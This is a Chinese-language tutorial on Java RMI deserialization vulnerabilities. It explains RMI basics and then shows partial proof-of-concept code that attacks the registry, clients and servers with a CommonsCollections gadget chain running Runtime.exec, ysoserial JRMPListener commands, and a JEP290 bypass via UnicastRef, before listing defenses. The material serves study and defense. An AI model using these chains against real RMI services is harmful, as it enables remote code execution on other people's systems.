Java安全之RMI反序列化
字数 1894 2025-08-06 08:35:19
Java安全之RMI反序列化漏洞详解
1. RMI基础概念
1.1 什么是RMI
RMI(Remote Method Invocation)是Java远程方法调用的简称,允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。
1.2 RMI核心组件
RMI分为三个主体部分:
- Client-客户端:调用服务端方法的程序
- Server-服务端:远程调用方法对象的提供者,代码真正执行的地方
- Registry-注册中心:本质是一个map,用于客户端查询要调用的方法的引用
版本差异:
- 低版本JDK中,Server与Registry可以不在同一台服务器上
- 高版本JDK中,Server与Registry必须在一台服务器上,否则无法注册成功
1.3 RMI通信协议
RMI客户端和服务端之间通过JRMP(Java Remote Method Protocol)协议通信,类似于HTTP协议,规定了通信规范。在RMI中,对象是通过序列化方式进行编码传输的。
2. RMI基本实现
2.1 服务端实现
2.1.1 定义远程接口
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface rmi extends Remote {
public String hello() throws RemoteException;
}
要求:
- 必须使用public声明
- 必须继承Remote类
- 接口方法需要声明RemoteException
2.1.2 实现远程接口
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteClass extends UnicastRemoteObject implements rmi {
public RemoteClass() throws RemoteException {
System.out.println("构造方法");
}
public String hello() throws RemoteException {
System.out.println("hello,world");
return "hello,world";
}
}
要求:
- 实现远程接口
- 继承UnicastRemoteObject类(或手工初始化远程对象)
- 构造函数抛出RemoteException
- 实现类中使用的对象必须可序列化
2.1.3 注册远程对象
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException {
rmi hello = new RemoteClass(); // 创建远程对象
Registry registry = LocateRegistry.createRegistry(1099); // 创建注册表
registry.rebind("hello", hello); // 注册远程对象
}
}
2.2 客户端实现
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteClass hello = (RemoteClass) registry.lookup("hello");
System.out.println(hello.hello());
}
}
3. RMI反序列化攻击方式
3.1 攻击注册中心
3.1.1 攻击原理
注册中心支持的交互方式:
- list
- bind
- rebind
- unbind
- lookup
在RegistryImpl_Skel#dispatch方法中,如果存在readObject操作,则可以利用反序列化漏洞。
3.1.2 可利用的方法
-
bind & rebind:
- 调用时会用readObject读出参数名和远程对象
- 如果服务端存在CC组件漏洞,可以利用反序列化攻击
-
unbind & lookup:
- 只能传入String类型,但可以通过伪造连接请求利用
3.1.3 POC示例
// 使用CommonsCollections链攻击注册中心的bind方法
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
// ... 其他import
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
});
// 构造AnnotationInvocationHandler链
// ...
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
handler));
registry.bind("test", r);
}
}
3.2 攻击客户端
3.2.1 注册中心攻击客户端
当注册中心返回数据给客户端时,客户端会进行反序列化。如果控制注册中心的返回数据,就能攻击客户端。
利用步骤:
- 使用ysoserial的JRMPListener启动恶意服务端:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app' - 客户端访问:
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 12345); registry.list();
3.2.2 服务端攻击客户端
两种情景:
- 服务端返回参数为Object对象
- 远程加载对象(条件苛刻)
示例:
// 服务端返回恶意对象
public class LocalUser extends UnicastRemoteObject implements User {
public Object getUser() {
// 构造恶意对象
return (Object)handler;
}
}
3.3 攻击服务端
3.3.1 客户端攻击服务端
当服务端的远程方法存在Object类型参数时,服务端接收数据时会调用readObject。
示例:
// 客户端构造恶意对象并传递给服务端
User user = (User) registry.lookup("user");
user.addUser(handler); // addUser方法接收Object参数
4. JEP290及其绕过
4.1 JEP290介绍
JEP290机制用于过滤传入的序列化数据,提高安全性。在反序列化过程中新增filterCheck方法,任何反序列化操作都会经过检测。
白名单类:
- String.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
受影响版本:
- JDK 8u121+
- JDK 7u131+
- JDK 6u141+
4.2 JEP290绕过
绕过思路:从白名单类或其子类中寻找复写readObject的利用点。
利用UnicastRef的JRMPClient绕过:
// 使用ysoserial启动恶意服务端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator"
// 客户端代码
Registry reg = LocateRegistry.getRegistry("127.0.0.1", 7777);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
Client.class.getClassLoader(),
new Class[]{Registry.class},
obj);
reg.bind("hello", proxy);
版本限制:
- 该方式在JDK<=8u231时可用
- 在8u241被修复
5. 防御措施
- 升级JDK:使用最新版本的JDK,修复已知漏洞
- 限制网络访问:控制RMI服务的网络访问权限
- 使用安全管理器:配置适当的安全策略
- 输入验证:对RMI调用进行严格的输入验证
- 禁用不必要的服务:如不需要RMI服务,应完全禁用
6. 总结
RMI反序列化漏洞是Java安全中的重要议题,攻击面包括:
- 攻击注册中心(bind/rebind/unbind/lookup)
- 攻击客户端(通过注册中心或服务端返回恶意对象)
- 攻击服务端(通过Object参数传递恶意对象)
理解这些攻击方式有助于更好地防御相关漏洞,保护Java应用安全。